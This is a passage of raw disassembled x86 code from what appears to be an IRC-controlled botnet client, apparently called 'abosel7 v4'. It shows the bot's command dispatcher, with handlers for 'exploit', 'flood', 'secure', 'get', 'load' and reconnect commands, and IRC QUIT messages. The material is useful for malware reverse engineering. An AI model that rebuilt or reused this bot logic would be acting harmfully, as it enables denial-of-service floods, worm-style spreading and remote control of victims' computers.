		jle	short loc_403FCB
		push	offset unk_42C2C8
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42C2A0
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42C280
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 2680CE9h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854


loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C268
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42C248
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C228
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1


loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C204
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_4041D3


loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------


loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		nop
		call	near ptr 2670E94h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C1C8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------


loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1AC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB6BC
		call	dword_4CB57C
		call	sub_418359
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42C190
		jmp	short loc_404285
; ---------------------------------------------------------------------------


loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42C174


loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_2	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C15C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40438D


loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_404377
; ---------------------------------------------------------------------------


loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42C124
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42C10C
		call	sub_4151AC


loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42C108
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------


loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx


loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C0E8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40448F


loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_404479
; ---------------------------------------------------------------------------


loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42C0AC
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42C094


loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CB364
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42C068
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------


loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------


loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx


loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42C018
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42BFE4
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------


loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BFD4
		push	offset dword_42BFC4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BFB8
		push	offset dword_42BFA8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------


loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074


loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi


loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------


loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------


loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl


loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF80
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40470D


loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------


loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		call	near ptr 2670E94h
		nop
		push	eax
		push	offset dword_42BF44
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------


loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084


loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF18
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_404813


loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------


loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42BED8
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856


loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1


loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42BEA4
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_404911


loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset dword_42BE68
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE


loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42BDB8
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BDA8
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D080
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42BD7C
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42BD50
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42D080


loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42CFF4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CEDD8, ebx
		jz	short loc_404A4A
		push	offset dword_4CE7B8


loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42BD14
		jmp	loc_404AE0
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CB664
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42BCD4
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------


loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE7B8
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CEDD8, 1
		pop	ecx
		push	esi
		push	offset unk_42BCA8


loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------


loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC70
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_404BE6


loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42BC30
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		call	near ptr 2680CE9h
		nop
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFD
